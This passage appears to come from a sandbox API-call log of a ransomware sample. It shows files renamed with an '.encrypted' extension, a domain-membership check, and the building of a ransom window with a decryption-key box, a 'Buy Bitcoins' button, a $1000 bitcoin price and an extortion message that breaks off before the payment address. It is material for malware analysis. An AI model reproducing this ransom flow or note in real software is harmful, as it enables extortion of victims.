Shapes\\_private\\folder.encrypted.ico\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\NeaFrBuex2U7\\-nTERrDy.encrypted.xlsx\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\NeaFrBuex2U7\\5Cq0nxpQprd.encrypted.xls\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\NeaFrBuex2U7\\K27yuQYoGg7erx5RY.encrypted.rtf\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\NeaFrBuex2U7\\LIL6pH6Oee7iuTK.encrypted.ods\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\NeaFrBuex2U7\\LJDVlgSO.encrypted.pps\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\NeaFrBuex2U7\\pvNdPv7CycNkjeBeIJOV.encrypted.xlsx\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\NeaFrBuex2U7\\v2zRxHEjBQRq x6") returned 1 [0051.141] SendMessageW (hWnd=0x9011c, Msg=0xb1, wParam=0xf4240, lParam=0xf423f) returned 0x1 [0051.141] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.141] CharUpperBuffW (in: lpsz="DOMAINCHECK", cchLength=0xb | out: lpsz="DOMAINCHECK") returned 0xb [0051.141] PeekMessageW (in: lpMsg=0xd72f04f090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f090) returned 0 [0051.141] PeekMessageW (in: lpMsg=0xd72f04f090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f090) returned 0 [0051.141] PeekMessageW (in: lpMsg=0xd72f04f090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f090) returned 0 [0051.141] CharUpperBuffW (in: lpsz="_WINAPI_NETGETJOININFORMATION", cchLength=0x1d | out: lpsz="_WINAPI_NETGETJOININFORMATION") returned 0x1d [0051.141] PeekMessageW (in: lpMsg=0xd72f04e9b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04e9b0) returned 0 [0051.141] CharLowerBuffW (in: lpsz="int", cchLength=0x3 | out: lpsz="int") returned 0x3 [0051.142] LoadLibraryW (lpLibFileName="Netapi32.dll") returned 0x7ffe26550000 [0051.148] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="NetGetJoinInformation", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0051.148] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="NetGetJoinInformation", cchWideChar=22, lpMultiByteStr=0xd72f37cd50, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NetGetJoinInformation", lpUsedDefaultChar=0x0) returned 22 [0051.148] GetProcAddress (hModule=0x7ffe26550000, lpProcName="NetGetJoinInformation") returned 0x7ffe265119a0 [0051.148] NetGetJoinInformation (in: lpServer="", lpNameBuffer=0xd72f04e128, BufferType=0xd72f04e150 | out: lpNameBuffer=0xd72f04e128*="WORKGROUP", BufferType=0xd72f04e150) returned 0x0 [0051.153] FreeLibrary (hLibModule=0x7ffe26550000) returned 1 [0051.154] PeekMessageW (in: lpMsg=0xd72f04e9b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04e9b0) returned 1 [0051.154] TranslateMessage (lpMsg=0xd72f04e9b0) returned 0 [0051.154] DispatchMessageW (lpMsg=0xd72f04e9b0) returned 0xffffffff [0051.154] GetForegroundWindow () returned 0x301cc [0051.154] GetWindowLongPtrW (hWnd=0x301cc, nIndex=-21) returned 0x0 [0051.154] PeekMessageW (in: lpMsg=0xd72f04e9b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04e9b0) returned 0 [0051.154] PeekMessageW (in: lpMsg=0xd72f04e9b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04e9b0) returned 0 [0051.154] PeekMessageW (in: lpMsg=0xd72f04e9b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04e9b0) returned 0 [0051.155] CharUpperBuffW (in: lpsz="_BUFFERSIZE", cchLength=0xb | out: lpsz="_BUFFERSIZE") returned 0xb [0051.155] PeekMessageW (in: lpMsg=0xd72f04e110, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04e110) returned 0 [0051.155] CharLowerBuffW (in: lpsz="int", cchLength=0x3 | out: lpsz="int") returned 0x3 [0051.155] LoadLibraryW (lpLibFileName="Netapi32.dll") returned 0x7ffe26550000 [0051.164] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="NetApiBufferSize", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0051.164] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="NetApiBufferSize", cchWideChar=17, lpMultiByteStr=0xd72f37d430, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NetApiBufferSize", lpUsedDefaultChar=0x0) returned 17 [0051.164] GetProcAddress (hModule=0x7ffe26550000, lpProcName="NetApiBufferSize") returned 0x7ffe29755584 [0051.165] NetApiBufferSize (in: Buffer=0xd72f38a140, ByteCount=0xd72f04d888 | out: ByteCount=0xd72f04d888) returned 0x0 [0051.165] FreeLibrary (hLibModule=0x7ffe26550000) returned 1 [0051.166] PeekMessageW (in: lpMsg=0xd72f04e110, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04e110) returned 0 [0051.166] PeekMessageW (in: lpMsg=0xd72f04e110, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04e110) returned 0 [0051.167] CharLowerBuffW (in: lpsz="wchar[48]", cchLength=0x9 | out: lpsz="wchar[48]") returned 0x9 [0051.167] PeekMessageW (in: lpMsg=0xd72f04e9b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04e9b0) returned 0 [0051.167] PeekMessageW (in: lpMsg=0xd72f04e9b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04e9b0) returned 0 [0051.167] CharLowerBuffW (in: lpsz="int", cchLength=0x3 | out: lpsz="int") returned 0x3 [0051.168] LoadLibraryW (lpLibFileName="netapi32.dll") returned 0x7ffe26550000 [0051.174] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="NetApiBufferFree", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0051.174] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="NetApiBufferFree", cchWideChar=17, lpMultiByteStr=0xd72f37d6b0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NetApiBufferFree", lpUsedDefaultChar=0x0) returned 17 [0051.174] GetProcAddress (hModule=0x7ffe26550000, lpProcName="NetApiBufferFree") returned 0x7ffe29751010 [0051.174] NetApiBufferFree (Buffer=0xd72f38a140) returned 0x0 [0051.174] FreeLibrary (hLibModule=0x7ffe26550000) returned 1 [0051.175] PeekMessageW (in: lpMsg=0xd72f04e9b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04e9b0) returned 0 [0051.176] PeekMessageW (in: lpMsg=0xd72f04e9b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04e9b0) returned 0 [0051.176] PeekMessageW (in: lpMsg=0xd72f04f090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f090) returned 0 [0051.176] PeekMessageW (in: lpMsg=0xd72f04f090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f090) returned 0 [0051.176] PeekMessageW (in: lpMsg=0xd72f04f090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f090) returned 0 [0051.176] PeekMessageW (in: lpMsg=0xd72f04f090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f090) returned 0 [0051.176] PeekMessageW (in: lpMsg=0xd72f04f090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f090) returned 0 [0051.176] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.176] CreateWindowExW (dwExStyle=0x0, lpClassName="static", lpWindowName="Your files has been safely encrypted", dwStyle=0x50000100, X=16, Y=8, nWidth=600, nHeight=42, hWndParent=0xc018a, hMenu=0x5, hInstance=0x7ff756b50000, lpParam=0x0) returned 0xf0020 [0051.177] GetWindowLongPtrW (hWnd=0xc018a, nIndex=-21) returned 0x0 [0051.177] NtdllDialogWndProc_W (hDlg=0xc018a, Msg=0x210, wParam=0x50001, lParam=0xf0020) returned 0x0 [0051.177] GetStockObject (i=17) returned 0x10a0047 [0051.177] SendMessageW (hWnd=0xf0020, Msg=0x30, wParam=0x10a0047, lParam=0x0) returned 0x0 [0051.177] GetSysColor (nIndex=18) returned 0x0 [0051.177] GetClientRect (in: hWnd=0xf0020, lpRect=0xd72f04f0f0 | out: lpRect=0xd72f04f0f0) returned 1 [0051.177] GetWindowRect (in: hWnd=0xf0020, lpRect=0xd72f04f0f0 | out: lpRect=0xd72f04f0f0) returned 1 [0051.177] SetWindowLongPtrW (hWnd=0xf0020, nIndex=-21, dwNewLong=0x5) returned 0x0 [0051.177] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.178] GetDC (hWnd=0x0) returned 0x11010729 [0051.178] GetDeviceCaps (hdc=0x11010729, index=90) returned 96 [0051.178] ReleaseDC (hWnd=0x0, hDC=0x11010729) returned 1 [0051.178] CreateFontW (cHeight=-30, cWidth=0, cEscapement=0, cOrientation=0, cWeight=800, bItalic=0x0, bUnderline=0x0, bStrikeOut=0x0, iCharSet=0x1, iOutPrecision=0x4, iClipPrecision=0x0, iQuality=0x2, iPitchAndFamily=0x0, pszFaceName="Calibri") returned 0x90a070e [0051.178] SendMessageW (hWnd=0xf0020, Msg=0x30, wParam=0x90a070e, lParam=0x1) returned 0x0 [0051.178] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.178] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.178] CreateWindowExW (dwExStyle=0x200, lpClassName="edit", lpWindowName="Decryptionkey", dwStyle=0x50010080, X=304, Y=400, nWidth=305, nHeight=40, hWndParent=0xc018a, hMenu=0x6, hInstance=0x7ff756b50000, lpParam=0x0) returned 0x10001e [0051.179] GetWindowLongPtrW (hWnd=0xc018a, nIndex=-21) returned 0x0 [0051.179] GetWindowLongPtrW (hWnd=0xc018a, nIndex=-21) returned 0x0 [0051.179] GetWindowLongPtrW (hWnd=0x10001e, nIndex=-21) returned 0x0 [0051.179] NtdllDialogWndProc_W (hDlg=0xc018a, Msg=0x111, wParam=0x4000006, lParam=0x10001e) returned 0x0 [0051.179] GetWindowLongPtrW (hWnd=0xc018a, nIndex=-21) returned 0x0 [0051.179] GetWindowLongPtrW (hWnd=0xc018a, nIndex=-21) returned 0x0 [0051.179] GetWindowLongPtrW (hWnd=0x10001e, nIndex=-21) returned 0x0 [0051.179] NtdllDialogWndProc_W (hDlg=0xc018a, Msg=0x111, wParam=0x3000006, lParam=0x10001e) returned 0x0 [0051.179] GetWindowLongPtrW (hWnd=0xc018a, nIndex=-21) returned 0x0 [0051.179] NtdllDialogWndProc_W (hDlg=0xc018a, Msg=0x55, wParam=0x10001e, lParam=0x3) returned 0x2 [0051.179] GetWindowLongPtrW (hWnd=0xc018a, nIndex=-21) returned 0x0 [0051.179] NtdllDialogWndProc_W (hDlg=0xc018a, Msg=0x129, wParam=0x0, lParam=0x0) returned 0x3 [0051.179] GetWindowLongPtrW (hWnd=0xc018a, nIndex=-21) returned 0x0 [0051.179] NtdllDialogWndProc_W (hDlg=0xc018a, Msg=0x210, wParam=0x60001, lParam=0x10001e) returned 0x0 [0051.179] GetStockObject (i=17) returned 0x10a0047 [0051.179] SendMessageW (hWnd=0x10001e, Msg=0x30, wParam=0x10a0047, lParam=0x0) returned 0x1 [0051.179] GetClientRect (in: hWnd=0x10001e, lpRect=0xd72f04f100 | out: lpRect=0xd72f04f100) returned 1 [0051.179] GetWindowRect (in: hWnd=0x10001e, lpRect=0xd72f04f100 | out: lpRect=0xd72f04f100) returned 1 [0051.179] SetWindowLongPtrW (hWnd=0x10001e, nIndex=-21, dwNewLong=0x6) returned 0x0 [0051.180] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.180] GetDC (hWnd=0x0) returned 0x11010729 [0051.180] GetDeviceCaps (hdc=0x11010729, index=90) returned 96 [0051.180] ReleaseDC (hWnd=0x0, hDC=0x11010729) returned 1 [0051.180] CreateFontW (cHeight=-26, cWidth=0, cEscapement=0, cOrientation=0, cWeight=800, bItalic=0x0, bUnderline=0x0, bStrikeOut=0x0, iCharSet=0x1, iOutPrecision=0x4, iClipPrecision=0x0, iQuality=0x2, iPitchAndFamily=0x0, pszFaceName="Arial") returned 0x700a06dc [0051.180] SendMessageW (hWnd=0x10001e, Msg=0x30, wParam=0x700a06dc, lParam=0x1) returned 0x1 [0051.180] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.181] CreateWindowExW (dwExStyle=0x100, lpClassName="button", lpWindowName="Buy Bitcoins", dwStyle=0x50010000, X=15, Y=400, nWidth=153, nHeight=41, hWndParent=0xc018a, hMenu=0x7, hInstance=0x7ff756b50000, lpParam=0x0) returned 0xc018c [0051.181] GetWindowLongPtrW (hWnd=0xc018a, nIndex=-21) returned 0x0 [0051.181] NtdllDialogWndProc_W (hDlg=0xc018a, Msg=0x55, wParam=0xc018c, lParam=0x3) returned 0x2 [0051.181] GetWindowLongPtrW (hWnd=0xc018a, nIndex=-21) returned 0x0 [0051.181] NtdllDialogWndProc_W (hDlg=0xc018a, Msg=0x129, wParam=0x0, lParam=0x0) returned 0x3 [0051.181] GetWindowLongPtrW (hWnd=0xc018a, nIndex=-21) returned 0x0 [0051.181] NtdllDialogWndProc_W (hDlg=0xc018a, Msg=0x210, wParam=0x70001, lParam=0xc018c) returned 0x0 [0051.182] GetStockObject (i=17) returned 0x10a0047 [0051.182] SendMessageW (hWnd=0xc018c, Msg=0x30, wParam=0x10a0047, lParam=0x0) returned 0x0 [0051.182] GetClientRect (in: hWnd=0xc018c, lpRect=0xd72f04f0f0 | out: lpRect=0xd72f04f0f0) returned 1 [0051.182] GetWindowRect (in: hWnd=0xc018c, lpRect=0xd72f04f0f0 | out: lpRect=0xd72f04f0f0) returned 1 [0051.182] SetWindowLongPtrW (hWnd=0xc018c, nIndex=-21, dwNewLong=0x7) returned 0x0 [0051.182] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.182] GetDC (hWnd=0x0) returned 0x11010729 [0051.182] GetDeviceCaps (hdc=0x11010729, index=90) returned 96 [0051.182] ReleaseDC (hWnd=0x0, hDC=0x11010729) returned 1 [0051.182] CreateFontW (cHeight=-16, cWidth=0, cEscapement=0, cOrientation=0, cWeight=800, bItalic=0x0, bUnderline=0x0, bStrikeOut=0x0, iCharSet=0x1, iOutPrecision=0x4, iClipPrecision=0x0, iQuality=0x2, iPitchAndFamily=0x0, pszFaceName="Calibri") returned 0x560a0828 [0051.182] SendMessageW (hWnd=0xc018c, Msg=0x30, wParam=0x560a0828, lParam=0x1) returned 0x0 [0051.182] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.183] CreateFileW (lpFileName="C:\\PROGRA~1\\COMMON~1\\1365363213" (normalized: "c:\\progra~1\\common~1\\1365363213"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0051.183] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0051.183] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0xd72f04f1e0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xd72f04f1e0*=0) returned 1 [0051.183] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0xd72f04f1d0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xd72f04f1d0*=0) returned 1 [0051.183] ReadFile (in: hFile=0x194, lpBuffer=0xd72f3a94d0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xd72f04f210, lpOverlapped=0x0 | out: lpBuffer=0xd72f3a94d0*, lpNumberOfBytesRead=0xd72f04f210*=0x1b, lpOverlapped=0x0) returned 1 [0051.183] ReadFile (in: hFile=0x194, lpBuffer=0xd72f3a94d0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xd72f04f210, lpOverlapped=0x0 | out: lpBuffer=0xd72f3a94d0*, lpNumberOfBytesRead=0xd72f04f210*=0x0, lpOverlapped=0x0) returned 1 [0051.183] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0051.183] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0xd72f04f250, dwMoveMethod=0x1 | out: lpNewFilePointer=0xd72f04f250*=27) returned 1 [0051.183] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0051.183] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0xd72f04f250, dwMoveMethod=0x1 | out: lpNewFilePointer=0xd72f04f250*=0) returned 1 [0051.183] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0xd72f04f1a0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xd72f04f1a0*=0) returned 1 [0051.183] ReadFile (in: hFile=0x194, lpBuffer=0xd72f3a94d0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xd72f04f1e0, lpOverlapped=0x0 | out: lpBuffer=0xd72f3a94d0*, lpNumberOfBytesRead=0xd72f04f1e0*=0x1b, lpOverlapped=0x0) returned 1 [0051.183] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd72f38ae80, cbMultiByte=28, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 28 [0051.184] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd72f38ae80, cbMultiByte=28, lpWideCharStr=0xd72f38aa80, cchWideChar=28 | out: lpWideCharStr="$1000 = 0.44407866 Bitcoins") returned 28 [0051.184] CloseHandle (hObject=0x194) returned 1 [0051.184] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.184] CharUpperBuffW (in: lpsz="DOMAINCHECK", cchLength=0xb | out: lpsz="DOMAINCHECK") returned 0xb [0051.184] PeekMessageW (in: lpMsg=0xd72f04f090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f090) returned 0 [0051.185] PeekMessageW (in: lpMsg=0xd72f04f090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f090) returned 0 [0051.185] PeekMessageW (in: lpMsg=0xd72f04f090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f090) returned 0 [0051.185] CharUpperBuffW (in: lpsz="_WINAPI_NETGETJOININFORMATION", cchLength=0x1d | out: lpsz="_WINAPI_NETGETJOININFORMATION") returned 0x1d [0051.185] PeekMessageW (in: lpMsg=0xd72f04e9b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04e9b0) returned 0 [0051.185] CharLowerBuffW (in: lpsz="int", cchLength=0x3 | out: lpsz="int") returned 0x3 [0051.186] LoadLibraryW (lpLibFileName="Netapi32.dll") returned 0x7ffe26550000 [0051.192] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="NetGetJoinInformation", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0051.192] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="NetGetJoinInformation", cchWideChar=22, lpMultiByteStr=0xd72f37d870, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NetGetJoinInformation", lpUsedDefaultChar=0x0) returned 22 [0051.192] GetProcAddress (hModule=0x7ffe26550000, lpProcName="NetGetJoinInformation") returned 0x7ffe265119a0 [0051.193] NetGetJoinInformation (in: lpServer="", lpNameBuffer=0xd72f04e128, BufferType=0xd72f04e150 | out: lpNameBuffer=0xd72f04e128*="WORKGROUP", BufferType=0xd72f04e150) returned 0x0 [0051.194] FreeLibrary (hLibModule=0x7ffe26550000) returned 1 [0051.196] PeekMessageW (in: lpMsg=0xd72f04e9b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04e9b0) returned 1 [0051.196] TranslateMessage (lpMsg=0xd72f04e9b0) returned 0 [0051.196] DispatchMessageW (lpMsg=0xd72f04e9b0) returned 0xffffffff [0051.196] GetForegroundWindow () returned 0x301cc [0051.196] GetWindowLongPtrW (hWnd=0x301cc, nIndex=-21) returned 0x0 [0051.196] PeekMessageW (in: lpMsg=0xd72f04e9b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04e9b0) returned 0 [0051.196] PeekMessageW (in: lpMsg=0xd72f04e9b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04e9b0) returned 0 [0051.196] PeekMessageW (in: lpMsg=0xd72f04e9b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04e9b0) returned 0 [0051.196] CharUpperBuffW (in: lpsz="_BUFFERSIZE", cchLength=0xb | out: lpsz="_BUFFERSIZE") returned 0xb [0051.196] PeekMessageW (in: lpMsg=0xd72f04e110, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04e110) returned 0 [0051.197] CharLowerBuffW (in: lpsz="int", cchLength=0x3 | out: lpsz="int") returned 0x3 [0051.197] LoadLibraryW (lpLibFileName="Netapi32.dll") returned 0x7ffe26550000 [0051.203] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="NetApiBufferSize", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0051.203] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="NetApiBufferSize", cchWideChar=17, lpMultiByteStr=0xd72f37d450, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NetApiBufferSize", lpUsedDefaultChar=0x0) returned 17 [0051.203] GetProcAddress (hModule=0x7ffe26550000, lpProcName="NetApiBufferSize") returned 0x7ffe29755584 [0051.203] NetApiBufferSize (in: Buffer=0xd72f38a680, ByteCount=0xd72f04d888 | out: ByteCount=0xd72f04d888) returned 0x0 [0051.203] FreeLibrary (hLibModule=0x7ffe26550000) returned 1 [0051.205] PeekMessageW (in: lpMsg=0xd72f04e110, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04e110) returned 0 [0051.205] PeekMessageW (in: lpMsg=0xd72f04e110, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04e110) returned 0 [0051.205] CharLowerBuffW (in: lpsz="wchar[48]", cchLength=0x9 | out: lpsz="wchar[48]") returned 0x9 [0051.206] PeekMessageW (in: lpMsg=0xd72f04e9b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04e9b0) returned 0 [0051.206] PeekMessageW (in: lpMsg=0xd72f04e9b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04e9b0) returned 0 [0051.206] CharLowerBuffW (in: lpsz="int", cchLength=0x3 | out: lpsz="int") returned 0x3 [0051.208] PeekMessageW (in: lpMsg=0xd72f04e9b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04e9b0) returned 0 [0051.208] PeekMessageW (in: lpMsg=0xd72f04e9b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04e9b0) returned 0 [0051.208] PeekMessageW (in: lpMsg=0xd72f04f090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f090) returned 0 [0051.208] PeekMessageW (in: lpMsg=0xd72f04f090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f090) returned 0 [0051.208] PeekMessageW (in: lpMsg=0xd72f04f090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f090) returned 0 [0051.208] PeekMessageW (in: lpMsg=0xd72f04f090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f090) returned 0 [0051.208] PeekMessageW (in: lpMsg=0xd72f04f090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f090) returned 0 [0051.208] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.209] CreateWindowExW (dwExStyle=0x200, lpClassName="edit", lpWindowName="The only way you can recover your files is to buy a decryption key, Please send the mentioned about of money in bitcoins to the following address 